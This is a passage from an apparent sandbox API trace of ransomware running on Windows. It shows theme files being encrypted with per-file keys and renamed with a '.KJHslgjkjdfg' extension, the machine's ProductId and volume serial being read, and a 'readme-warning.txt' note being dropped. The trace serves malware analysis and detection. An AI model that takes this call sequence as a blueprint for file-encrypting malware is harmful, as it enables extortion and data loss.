ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.196] GetProcessHeap () returned 0x2ef0000 [0172.196] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.197] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.197] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0172.199] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.199] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.199] GetProcessHeap () returned 0x2ef0000 [0172.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.199] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.199] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.199] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.200] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.200] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.200] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.200] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.200] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.200] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaa2, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xaa2, lpOverlapped=0x0) returned 1 [0172.200] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xab0, dwBufLen=0xab0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xab0) returned 1 [0172.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.201] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xab0, lpOverlapped=0x0) returned 1 [0172.201] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.201] SetEndOfFile (hFile=0x114) returned 1 [0172.204] GetProcessHeap () returned 0x2ef0000 [0172.204] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.204] GetProcessHeap () returned 0x2ef0000 [0172.204] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.207] CloseHandle (hObject=0x114) returned 1 [0172.207] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.208] GetProcessHeap () returned 0x2ef0000 [0172.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.208] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.208] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.211] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.211] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.211] GetProcessHeap () returned 0x2ef0000 [0172.211] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.211] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.211] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.211] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.211] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.211] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.211] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.211] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.212] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.212] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.212] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.212] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa90c, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xa90c, lpOverlapped=0x0) returned 1 [0172.213] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa910, dwBufLen=0xa910 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa910) returned 1 [0172.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.214] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xa910, lpOverlapped=0x0) returned 1 [0172.214] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.214] SetEndOfFile (hFile=0x114) returned 1 [0172.218] GetProcessHeap () returned 0x2ef0000 [0172.218] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.218] GetProcessHeap () returned 0x2ef0000 [0172.219] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.222] CloseHandle (hObject=0x114) returned 1 [0172.222] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.222] GetProcessHeap () returned 0x2ef0000 [0172.222] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.222] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.222] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0172.222] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.222] GetProcessHeap () returned 0x2ef0000 [0172.222] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0172.222] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.222] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0172.222] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.223] GetProcessHeap () returned 0x2ef0000 [0172.223] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0172.223] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.223] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0172.223] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.223] GetProcessHeap () returned 0x2ef0000 [0172.223] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0172.223] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.223] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0172.223] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.223] GetProcessHeap () returned 0x2ef0000 [0172.223] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.223] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.223] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0172.223] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.223] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0172.224] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0172.224] RegCloseKey (hKey=0x114) returned 0x0 [0172.224] GetProcessHeap () returned 0x2ef0000 [0172.224] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0172.224] GetProcessHeap () returned 0x2ef0000 [0172.224] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.224] GetProcessHeap () returned 0x2ef0000 [0172.224] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.224] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.224] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0172.224] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.224] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.224] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.225] GetProcessHeap () returned 0x2ef0000 [0172.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.225] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.225] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.225] GetProcessHeap () returned 0x2ef0000 [0172.225] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0172.225] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\readme-warning.txt") returned 81 [0172.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.226] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.227] CloseHandle (hObject=0x114) returned 1 [0172.227] GetProcessHeap () returned 0x2ef0000 [0172.227] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0172.227] GetProcessHeap () returned 0x2ef0000 [0172.227] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0172.227] GetProcessHeap () returned 0x2ef0000 [0172.227] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0172.227] GetProcessHeap () returned 0x2ef0000 [0172.228] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.228] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0172.228] GetProcessHeap () returned 0x2ef0000 [0172.228] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0172.228] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1 [0172.228] GetProcessHeap () returned 0x2ef0000 [0172.228] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0172.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0172.232] GetProcessHeap () returned 0x2ef0000 [0172.232] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0172.232] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.232] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0172.232] GetProcessHeap () returned 0x2ef0000 [0172.232] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f3e278 [0172.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.234] GetProcessHeap () returned 0x2ef0000 [0172.234] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.234] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.234] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0172.236] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.236] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.236] GetProcessHeap () returned 0x2ef0000 [0172.236] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0172.237] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0172.237] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.237] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0172.237] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.237] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.237] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.237] SetFilePointerEx (in: 